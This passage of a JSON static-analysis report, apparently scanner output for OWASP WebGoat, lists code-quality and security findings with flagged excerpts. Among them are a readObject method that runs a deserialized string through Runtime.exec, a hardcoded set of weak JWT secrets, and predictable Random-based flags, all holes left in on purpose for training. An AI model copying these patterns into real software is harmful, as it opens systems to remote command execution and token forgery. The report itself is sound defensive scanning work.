fine as long as the information in <code>myFile</code> is encoded the same as the default character set, however if it's using a different encoding, or is a binary file, it will lose information. This in turn will cause the resulting SHA hash to be less reliable, and could mean it's far easier to cause collisions, especially if any data outside of the default character set is represented by the same value, such as a question mark.</Content>","title":"<Content><Paragraph>The call to <Replace key=\"PrimaryCall.name\"/> on line <Replace key=\"PrimaryLocation.line\"/> of <Replace key=\"PrimaryLocation.file\"/> converts a byte array into a <code>String</code>, which may lead to data loss.<AltParagraph>Converting a byte array into a <code>String</code> may lead to data loss.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-integration-tests/src/test/java/org/owasp/webgoat/JWTLessonTest.java\nStartLine: 111, EndLine: 117\nCode:\nheader = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));\n        \n        String body = accessToken.substring(1+accessToken.indexOf(\".\"), accessToken.lastIndexOf(\".\"));\n        body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));\n\n        ObjectMapper mapper = new ObjectMapper();\n        JsonNode headerNode = mapper.readTree(header);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-integration-tests/src/test/java/org/owasp/webgoat/JWTLessonTest.java\nStartLine: 108, EndLine: 114\nCode:\n.extract().cookie(\"access_token\");\n\n        String header = accessToken.substring(0, accessToken.indexOf(\".\"));\n        header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));\n        \n        String body = accessToken.substring(1+accessToken.indexOf(\".\"), accessToken.lastIndexOf(\".\"));\n        body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["unmapped","Rev_4"]}},{"id":"6F84D4B0-3B7E-4463-A165-76135931D192","desc":"<Content>This method is never called or is only called from other dead code.\n\n<b>Example 1:</b> In the following class, the method <code>doWork()</code> can never be called.\n\n<pre>\npublic class Dead {\n  private void doWork() {\n    System.out.println(\"doing work\");\n  }\n  public static void main(String[] args) {\n    System.out.println(\"running Dead\");\n  }\n}\n</pre>\n\n<b>Example 2:</b> In the following class, two private methods call each other, but since neither one is ever invoked from anywhere else, they are both dead code.\n\n<pre>\npublic class DoubleDead {\n  private void doTweedledee() {\n    doTweedledumb();\n  }\n  private void doTweedledumb() {\n    doTweedledee();\n  }\n  public static void main(String[] args) {\n    System.out.println(\"running DoubleDead\");\n  }\n}\n</pre>\n\n(In this case it is a good thing that the methods are dead: invoking either one would cause an infinite loop.)</Content>","title":"<Content><Paragraph>The method <Replace key=\"EnclosingFunction.name\"/> in <Replace key=\"PrimaryLocation.file\"/> is not reachable from any method outside the class. It is dead code. Dead code is defined as code that is never directly or indirectly executed by a public method.<AltParagraph>This method is not reachable from any method outside the class.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/requests/Requests.java\nStartLine: 76, EndLine: 87\nCode:\nreturn (String) t.getRequest().getUri().getPath();\n    }\n\n    private String toJsonString(HttpTrace t) {\n        try {\n            return objectMapper.writeValueAsString(t);\n        } catch (JsonProcessingException e) {\n            log.error(\"Unable to create json\", e);\n        }\n        return \"No request(s) found\";\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/service/HintService.java\nStartLine: 55, EndLine: 61\nCode:\nreturn List.of();\n    }\n\n    private List<Hint> createHint(Assignment a) {\n        return a.getHints().stream().map(h -> new Hint(h, a.getPath())).collect(toList());\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/plugins/CourseConfiguration.java\nStartLine: 75, EndLine: 93\nCode:\nreturn endpoints.stream().map(e -> new Assignment(e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass()))).collect(toList());\n    }\n\n    private String getPath(Class<? extends AssignmentEndpoint> e) {\n        for (Method m : e.getMethods()) {\n            if (m.getReturnType() == AttackResult.class) {\n                var mapping = getMapping(m);\n                if (mapping == null) {\n                    log.error(\"AttackResult method found without mapping in: {}\", e.getSimpleName());\n                } else {\n                    return mapping;\n                }\n            }\n        }\n        return \"none\";\n    }\n\n    private String getMapping(Method m) {\n        String[] paths = null;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/plugins/CourseConfiguration.java\nStartLine: 108, EndLine: 117\nCode:\n}\n    }\n\n    private List<String> getHints(Class<? extends AssignmentEndpoint> e) {\n        if (e.isAnnotationPresent(AssignmentHints.class)) {\n            return Lists.newArrayList(e.getAnnotationsByType(AssignmentHints.class)[0].value());\n        }\n        return Lists.newArrayList();\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/users/Scoreboard.java\nStartLine: 55, EndLine: 62\nCode:\n.collect(Collectors.toList());\n    }\n\n    private String toLessonTitle(String id) {\n        String titleKey = course.getLessons().stream().filter(l -> l.getId().equals(id)).findFirst().get().getTitle();\n        return pluginMessages.getMessage(titleKey, titleKey);\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/plugins/CourseConfiguration.java\nStartLine: 89, EndLine: 112\nCode:\nreturn \"none\";\n    }\n\n    private String getMapping(Method m) {\n        String[] paths = null;\n        //Find the path, either it is @GetMapping(\"/attack\") of GetMapping(path = \"/attack\") both are valid, we need to consider both\n        if (m.getAnnotation(RequestMapping.class) != null) {\n            paths = ArrayUtils.addAll(m.getAnnotation(RequestMapping.class).value(), m.getAnnotation(RequestMapping.class).path());\n        } else if (m.getAnnotation(PostMapping.class) != null) {\n            paths = ArrayUtils.addAll(m.getAnnotation(PostMapping.class).value(), m.getAnnotation(PostMapping.class).path());\n        } else if (m.getAnnotation(GetMapping.class) != null) {\n            paths = ArrayUtils.addAll(m.getAnnotation(GetMapping.class).value(), m.getAnnotation(GetMapping.class).path());\n        } else if (m.getAnnotation(PutMapping.class) != null) {\n            paths = ArrayUtils.addAll(m.getAnnotation(PutMapping.class).value(), m.getAnnotation(PutMapping.class).path());\n        }\n        if (paths == null) {\n            return \"\";\n        } else {\n            return Arrays.stream(paths).filter(path -> !\"\".equals(path)).findFirst().orElseGet(() -> \"\");\n        }\n    }\n\n    private List<String> getHints(Class<? extends AssignmentEndpoint> e) {\n        if (e.isAnnotationPresent(AssignmentHints.class)) {","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["unmapped","Rev_4"]}},{"id":"4EADC9FA-11B0-4C56-A76F-091E8FDC28C1","desc":"<Content>During deserialization, <code>readObject()</code> acts like a constructor, so object initialization is not complete until this function ends. Therefore when a <code>readObject()</code> function of a <code>Serializable</code> class calls an overridable function, this may provide the overriding method access to the object's state prior to it being fully initialized.\n\n<b>Example 1:</b> The following <code>readObject()</code> function calls a method that can be overridden.\n\n<pre>\n  ...\n  private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException {\n    checkStream(ois);\n    ois.defaultReadObject();\n  }\n\n  public void checkStream(ObjectInputStream stream){\n    ...\n  }\n</pre>\n\nSince the function <code>checkStream()</code> and its enclosing class are not <code>final</code> and public, it means that the function can be overridden, which may mean that an attacker may override the <code>checkStream()</code> function in order to get access to the object during deserialization.</Content>","title":"<Content><Paragraph>The <code>readObject()</code> method in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/> calls a function that may be overridden by an attacker.<AltParagraph>The <code>readObject()</code> method within the class calls a function that may be overridden.</AltParagraph></Paragraph></Content>","impact":0.6,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java\nStartLine: 44, EndLine: 50\nCode:\n(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))\n\t\t\t\t|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {\n\t\t\t//do nothing is the time is not within 10 minutes after the object has been created\n\t\t\tSystem.out.println(this.toString());\n\t\t\tthrow new IllegalArgumentException(\"outdated\");\n\t\t}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java\nStartLine: 32, EndLine: 70\nCode:\n* Execute a task when de-serializing a saved or received object.\n\t * @author stupid develop\n\t */\n\tprivate void readObject( ObjectInputStream stream ) throws Exception {\n        //unserialize data so taskName and taskAction are available\n\t\tstream.defaultReadObject();\n\t\t\n\t\t//do something with the data\n\t\tSystem.out.println(\"restoring task: \"+taskName);\n\t\tSystem.out.println(\"restoring time: \"+requestedExecutionTime);\n\t\t\n\t\tif (requestedExecutionTime!=null && \n\t\t\t\t(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))\n\t\t\t\t|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {\n\t\t\t//do nothing is the time is not within 10 minutes after the object has been created\n\t\t\tSystem.out.println(this.toString());\n\t\t\tthrow new IllegalArgumentException(\"outdated\");\n\t\t}\n\t\t\n\t\t//condition is here to prevent you from destroying the goat altogether\n\t\tif ((taskAction.startsWith(\"sleep\")||taskAction.startsWith(\"ping\"))\n\t\t\t\t&& taskAction.length() < 22) {\n\t\tSystem.out.println(\"about to execute: \"+taskAction);\n\t\ttry {\n            Process p = Runtime.getRuntime().exec(taskAction);\n            BufferedReader in = new BufferedReader(\n                                new InputStreamReader(p.getInputStream()));\n            String line = null;\n            while ((line = in.readLine()) != null) {\n                System.out.println(line);\n            }\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n\t\t}\n       \n    }\n\t\n}","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["unmapped","Rev_4"]}},{"id":"49D75ADD-4BBD-49B9-AAF2-92B9BAB332FE","desc":"<Content>Insecure randomness errors occur when a function that can produce predictable values is used as a source of randomness in a security-sensitive context.\n<Paragraph>\nIn this case, the function that generates weak random numbers is <Replace key=\"PrimaryCall.name\" link=\"PrimaryLocation\"/> in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\nComputers are deterministic machines, and as such are unable to produce true randomness. Pseudorandom Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated.\n\nThere are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and form an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between the generated random value and a truly random value. In general, if a PRNG algorithm is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts, where its use can lead to serious vulnerabilities such as easy-to-guess temporary passwords, predictable cryptographic keys, session hijacking, and DNS spoofing.\n\n<b>Example:</b> The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.\n\n<pre>\nString GenerateReceiptURL(String baseUrl) {\n    Random ranGen = new Random();\n    ranGen.setSeed((new Date()).getTime());\n    return (baseUrl + ranGen.nextInt(400000000) + \".html\");\n}\n</pre>\n\nThis code uses the <code>Random.nextInt()</code> function to generate \"unique\" identifiers for the receipt pages it generates. Since <code>Random.nextInt()</code> is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.</Content>","title":"<Content><Paragraph>The random number generator implemented by <Replace key=\"PrimaryCall.name\"/> cannot withstand a cryptographic attack.<AltParagraph>Standard pseudorandom number generators cannot withstand cryptographic attacks.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFGetFlag.java\nStartLine: 83, EndLine: 89\nCode:\nresponse.put(\"flag\", null);\n        } else {\n            Random random = new Random();\n            userSessionData.setValue(\"csrf-get-success\", random.nextInt(65536));\n            response.put(\"success\", true);\n            response.put(\"message\", pluginMessages.getMessage(\"csrf-get-other-referer.success\"));\n            response.put(\"flag\", userSessionData.getValue(\"csrf-get-success\"));","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFGetFlag.java\nStartLine: 72, EndLine: 78\nCode:\nresponse.put(\"flag\", userSessionData.getValue(\"csrf-get-success\"));\n            } else {\n                Random random = new Random();\n                userSessionData.setValue(\"csrf-get-success\", random.nextInt(65536));\n                response.put(\"success\", true);\n                response.put(\"message\", pluginMessages.getMessage(\"csrf-get-other-referer.success\"));\n                response.put(\"flag\", userSessionData.getValue(\"csrf-get-success\"));","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFGetFlag.java\nStartLine: 66, EndLine: 72\nCode:\nif (referer.equals(\"NULL\")) {\n            if (req.getParameter(\"csrf\").equals(\"true\")) {\n                Random random = new Random();\n                userSessionData.setValue(\"csrf-get-success\", random.nextInt(65536));\n                response.put(\"success\", true);\n                response.put(\"message\", pluginMessages.getMessage(\"csrf-get-null-referer.success\"));\n                response.put(\"flag\", userSessionData.getValue(\"csrf-get-success\"));","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/PasswordResetLink.java\nStartLine: 22, EndLine: 28\nCode:\npublic static String scramble(Random random, String inputString) {\n        char a[] = inputString.toCharArray();\n        for (int i = 0; i < a.length; i++) {\n            int j = random.nextInt(a.length);\n            char temp = a[i];\n            a[i] = a[j];\n            a[j] = temp;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java\nStartLine: 56, EndLine: 62\nCode:\npublic class JWTSecretKeyEndpoint extends AssignmentEndpoint {\n\n\tpublic static final String[] SECRETS = {\"victory\",\"business\",\"available\", \"shipping\", \"washington\"};\n    public static final String JWT_SECRET = TextCodec.BASE64.encode(SECRETS[new Random().nextInt(SECRETS.length)]);\n    private static final String WEBGOAT_USER = \"WebGoat\";\n    private static final List<String> expectedClaims = Lists.newArrayList(\"iss\", \"iat\", \"exp\", \"aud\", \"sub\", \"username\", \"Email\", \"Role\");","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-13","Rev_4"]}},{"id":"DA3D93EF-F156-436B-BC4B-4BBFB3D1404B","desc":"<Content>It is not uncommon for Java programmers to misunderstand <code>read()</code> and related methods that are part of many <code>java.io</code> classes. Most errors and unusual events in Java result in an exception being thrown. (This is one of the advantages that Java has over languages like C: Exceptions make it easier for programmers to think about what can go wrong.) But the stream and reader classes do not consider it unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.\n\nThis behavior makes it important for programmers to examine the return value from <code>read()</code> and other IO methods to ensure that they receive the amount of data they expect.\n\n<Paragraph>\nIn this case, the value of <Replace key=\"PrimaryCall.name\" link=\"PrimaryLocation\"/> is unchecked in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\n\n<b>Example:</b> The following code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always exactly 1 kilobyte in size and therefore ignores the return value from <code>read()</code>. If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and handle it as though it belongs to the attacker.\n\n<pre>\nFileInputStream fis;\nbyte[] byteArray = new byte[1024];\nfor (Iterator i=users.iterator(); i.hasNext();) {\n    String userName = (String) i.next();\n    String pFileName = PFILE_ROOT + \"/\" + userName;\n    FileInputStream fis = new FileInputStream(pFileName);\n    fis.read(byteArray); // the file is always 1k bytes\n    fis.close();\n    processPFile(userName, byteArray);\n}\n</pre></Content>","title":"<Content><Paragraph>The method <Replace key=\"EnclosingFunction.name\"/> in <Replace key=\"PrimaryLocation.file\"/> ignores the value returned by <Replace key=\"PrimaryCall.name\"/> on line <Replace key=\"PrimaryLocation.line\"/>, which could cause the program to overlook unexpected states and conditions.<AltParagraph>Ignoring a method's return value can cause the program to overlook unexpected states and conditions.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/FileServer.java\nStartLine: 109, EndLine: 115\nCode:\nif (changeIndicatorFile.exists()) {\n            modelAndView.addObject(\"uploadSuccess\", request.getParameter(\"uploadSuccess\"));\n        }\n        changeIndicatorFile.delete();\n\n        List<UploadedFile> uploadedFiles = Lists.newArrayList();\n        File[] files = destinationDir.listFiles(File::isFile);","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SI-11","Rev_4"]}}],"sha256":"78b56248cc6e6c14b5613cb9982b92c5c2578cb2e49a1f2c2bc6f0d94e61e031"}]}